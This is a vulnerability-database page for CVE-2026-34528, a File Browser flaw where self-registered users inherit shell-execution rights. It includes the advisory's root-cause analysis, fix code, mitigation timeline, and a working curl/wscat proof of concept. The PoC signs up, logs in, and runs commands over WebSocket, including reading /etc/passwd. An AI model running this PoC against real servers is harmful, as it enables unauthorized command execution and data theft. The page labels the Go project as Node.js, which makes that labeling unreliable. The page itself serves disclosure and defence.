Node.js CVE-2026-34528
HIGHAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAdministrator enables signup with Execute=true in defaults
-
ExploitUnauthenticated user self-registers via signup handler
-
ExecutionDefault permissions including Execute permission inherited
-
ImpactAttacker executes arbitrary shell commands on server
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V8 - Authorization Least privilege enforcement
MITRE ATT&CK
1 technique across 1 tactic: Privilege Escalation The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | File Browser with signup enabled, server-side execution enabled, and default user template configured with Execute=true permission. Unauthenticated remote attacker self-registers to inherit shell execution capabilities and execute arbitrary commands. |
| Exploit ScenarioDerived | An admin misconfigures File Browser by enabling signup and setting Execute=true in default user template. An attacker registers without authentication, inherits shell execution capabilities, and runs arbitrary commands with server privileges. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 01, 2026
File Browser's self-registration mechanism grants arbitrary shell command execution to unauthenticated attackers when administrators enable signup alongside server-side execution. The signupHandler inherits Execute permissions and Commands lists from default user templates but only strips Admin privileges, allowing newly registered users to immediately execute arbitrary commands via WebSocket with the process's full privileges. Vendor patch available. EPSS data not provided, but the specific configuration requirement (signup + enableExec + Execute in defaults) significantly narrows the attack surface despite the network-accessible, unauthenticated attack vector (CVSS 8.1 High). No confirmed active exploitation (CISA KEV) or public exploit code identified at time of analysis beyond the detailed proof-of-concept in the advisory.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Know when Node.js gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
The signupHandler in File Browser applies default user permissions via d.settings.Defaults.Apply(user), then strips only Admin (commit a63573b). The Execute permission and Commands list from the default user template are not stripped. When an administrator has enabled signup, server-side execution, and set Execute=true in the default user template, any unauthenticated user who self-registers inherits shell execution capabilities and can run arbitrary commands on the server.
Details
Root Cause
signupHandler at http/auth.go:167-172 applies all default permissions before stripping only Admin:
// http/auth.go
d.settings.Defaults.Apply(user) // copies ALL permissions from defaults
// Only Admin is stripped - Execute, Commands are still inherited
user.Perm.Admin = false
// user.Perm.Execute remains true if set in defaults
// user.Commands remains populated if set in defaultssettings/defaults.go:31-33 confirms Apply copies the full permissions struct including Execute and Commands:
func (d *UserDefaults) Apply(u *users.User) {
u.Perm = d.Perm // includes Execute
u.Commands = d.Commands // includes allowed shell commands
// ...
}The commandsHandler at http/commands.go:63-66 checks both the server-wide EnableExec flag and d.user.Perm.Execute:
if !d.server.EnableExec || !d.user.Perm.Execute {
// writes "Command not allowed." and returns
}The withUser middleware reads d.user from the database at request time (http/auth.go:103), so the persisted Execute=true and Commands values from signup are authoritative. The command allowlist check at commands.go:80 passes because the user's Commands list contains the inherited default commands:
if !slices.Contains(d.user.Commands, name) {
// writes "Command not allowed." and returns
}Execution Flow
- Admin configures:
Signup=true,EnableExec=true,Defaults.Perm.Execute=true,Defaults.Commands=["bash"] - Unauthenticated attacker POSTs to
/api/signup→ new user created withExecute=true,Commands=["bash"] - Attacker logs in → receives JWT with valid user ID
- Attacker opens WebSocket to
/api/command/→withUserfetches user from DB,Execute=truepasses check - Attacker sends
bashover WebSocket →exec.Command("bash")is invoked → arbitrary shell execution
This is a direct consequence of the incomplete fix in commit a63573b (CVE-2026-32760 / GHSA-5gg9-5g7w-hm73), which applied the same rationale ("signup users should not inherit privileged defaults") only to Admin, not to Execute and Commands.
PoC
TARGET="http://localhost:8080"
# Step 1: Self-register (no authentication required)
curl -s -X POST "$TARGET/api/signup" \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"AttackerP@ss1!"}'
# Returns: 200 OK
# Step 2: Log in and capture token
TOKEN=$(curl -s -X POST "$TARGET/api/login" \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"AttackerP@ss1!"}' | tr -d '"')
# Step 3: Inspect inherited permissions (decode JWT payload)
echo "$TOKEN" | cut -d'.' -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# Expected output (if defaults have Execute=true, Commands=["bash"]):
# {
# "user": {
# "perm": { "execute": true, ... },
# "commands": ["bash"],
# ...
# }
# }
# Step 4: Execute shell command via WebSocket (requires wscat: npm install -g wscat)
echo '{"command":"bash -c \"id && hostname && cat /etc/passwd | head -3\""}' | \
wscat --header "X-Auth: $TOKEN" \
--connect "$TARGET/api/command/" \
--wait 3
# Expected: uid=... hostname output followed by /etc/passwd linesImpact
On any deployment where an administrator has:
- Enabled public self-registration (
signup = true) - Enabled server-side command execution (
enableExec = true) - Set
Execute = truein the default user template - Populated
Commandswith one or more shell commands
An unauthenticated attacker can self-register and immediately gain the ability to run arbitrary shell commands on the server with the privileges of the File Browser process. All files accessible to the process, environment variables (including secrets), and network interfaces are exposed. This is a complete server compromise for processes running as root, and a significant lateral movement vector otherwise.
The original Admin fix (GHSA-5gg9-5g7w-hm73) demonstrates that the project explicitly recognizes that self-registered users should not inherit privileged defaults. The Execute + Commands omission is an incomplete application of that principle.
Recommended Fix
Extend the existing Admin stripping in http/auth.go to also clear Execute and Commands for self-registered users:
// http/auth.go - after d.settings.Defaults.Apply(user)
// Users signed up via the signup handler should never become admins, even
// if that is the default permission.
user.Perm.Admin = false
// Self-registered users should not inherit execution capabilities from
// default settings, regardless of what the administrator has configured
// as the default. Execution rights must be explicitly granted by an admin.
user.Perm.Execute = false
user.Commands = []string{}Executive ViewAI
File Browser's self-registration feature contains a critical authentication bypass that allows unauthenticated users to execute arbitrary commands on the server when signup and server-side execution are both enabled. Organizations running File Browser with these features active face immediate risk of unauthorized system compromise and data exfiltration, requiring urgent verification of deployment configurations and prompt patching.
Within 24 hours: Audit all File Browser deployments to identify instances with signup enabled and Execute permissions in default user templates; immediately disable signup or server-side execution on affected systems as emergency containment. Within 7 days: Apply vendor-released patch to all File Browser instances. Within 30 days: Conduct full access log review for affected deployments from past 90 days to identify potential exploitation; implement network segmentation to restrict File Browser access to authorized users only.
Apply vendor patch. If immediate patching is not feasible, disable user self-registration or remove Execute permissions from default user templates as emergency mitigation until patch deployment is completed.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.
Affected Products (CPE)GitHub Advisory
Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
Same weakness CWE-269 – Improper Privilege Management
View allSame technique Privilege Escalation
View allVendor StatusVendor
SUSE
Severity: Critical| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
GHSA-x8jc-jvqm-pm3f
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB